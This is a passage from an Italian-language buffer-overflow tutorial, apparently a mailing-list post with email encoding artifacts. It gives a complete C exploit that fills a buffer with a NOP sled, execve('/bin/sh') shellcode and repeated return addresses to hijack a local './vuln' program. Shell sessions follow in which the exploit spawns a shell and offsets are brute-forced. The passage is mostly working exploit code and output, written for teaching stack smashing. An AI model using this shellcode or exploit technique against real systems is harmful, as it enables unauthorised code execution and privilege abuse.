	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
	"\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

unsigned long get_esp() /* Recupera lo stack pointer */
{
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
	int ret, i, n;
	char *arg[3], buf[BUF];
	int *address_ptr; /* address pointer */

	// Se non viene fornito un offset per lo stack pointer=09
	// provvede a fornire il return address calcolato a mano
	// Se viene fornito un offset, ricava l'indirizzo di ritorno a partire
	// dallo stack pointer. Se l'indirizzo di ritorno preimpostato non dovesse
	// funzionare, provare offset tali da riportare il punto di ritorno intorno
	// all'indirizzo del buffer (accetta anche segni negativi).
=09
	if (argc < 2)
		ret =3D RET;
	else
		ret =3D get_esp() - atoi(argv[1]);=20
	=09
	printf("Indirizzo RET: 0x%X\n", ret);

	// salva l'indirizzo del buffer
	address_ptr =3D (int *)(buf);

	// mette l'indirizzo di ritorno in tutto il buffer
	for (i =3D 0; i < BUF; i +=3D 4)
		*address_ptr++ =3D ret;

	// riempie la prima met=E0 del buffer con NOP
	for (i =3D 0; i < BUF / 2; i++)
		buf[i] =3D NOP;

	// copia lo shellcode immediatamente dopo la sequenza di NOP
	for (n =3D 0; n < strlen(shellcode); n++)
		buf[i++] =3D shellcode[n];

	// prepara l'array per la chiamata di sistema execve ed esegue il programma
	// con il nostro argomento.
	arg[0] =3D "./vuln";
	arg[1] =3D buf;
	arg[2] =3D NULL;

	execve(arg[0], arg, NULL);
	exit(1);
}
// End exploit.c

Compiliamo e proviamo ad eseguire:

eddy@alphabase:~/rsg/bof$ gcc -o exploit ex.c
eddy@alphabase:~/rsg/bof$ ./exploit
Using ret: 0xBFFFFCD0
buffer address: 0xbffffcd0
sh-2.05b$ exit
exit
eddy@alphabase:~/rsg/bof$

Come volevamo dimostrare da un programma apparentemente innocuo =E8 stato
possibile ricavare una shell perfettamente funzionante.
Il punto di ritorno non funzionasse proviamo a cercane uno noi:

eddy@alphabase:~/rsg/bof$ ./exploit -100
Using ret: 0xBFFFF73C
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:~/rsg/bof$ ./exploit -200
Using ret: 0xBFFFF7A0
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:~/rsg/bof$ ./exploit -500
Using ret: 0xBFFFF8CC
buffer address: 0xbffffcd0
Segmentation fault
eddy@alphabase:~/rsg/bof$ ./exploit -1500
Using ret: 0xBFFFFCB4
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:~/rsg/bof$ ./exploit -2000
Using ret: 0xBFFFFEA8
buffer address: 0xbffffcd0
Segmentation fault
eddy@alphabase:~/rsg/bof$ ./exploit -1800
Using ret: 0xBFFFFDE0
buffer address: 0xbffffcd0
Trace/breakpoint trap
eddy@alphabase:~/rsg/bof$ ./exploit -1700
Using ret: 0xBFFFFD7C
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:~/rsg/bof$ ./exploit -1600
Using ret: 0xBFFFFD18
buffer address: 0xbffffcd0
sh-2.05b$ exit
exit
eddy@alphabase:~/rsg/bof$

Come potete vedere la procedura =E8 un po' macchinosa per=F2 =E8 semplice t=
rovare
un risultato, soprattutto grazie all'aiuto che abbiamo introdotto nel codice
in partenza.

--Boundary-00=_D5Wt+fEZvWduzK2--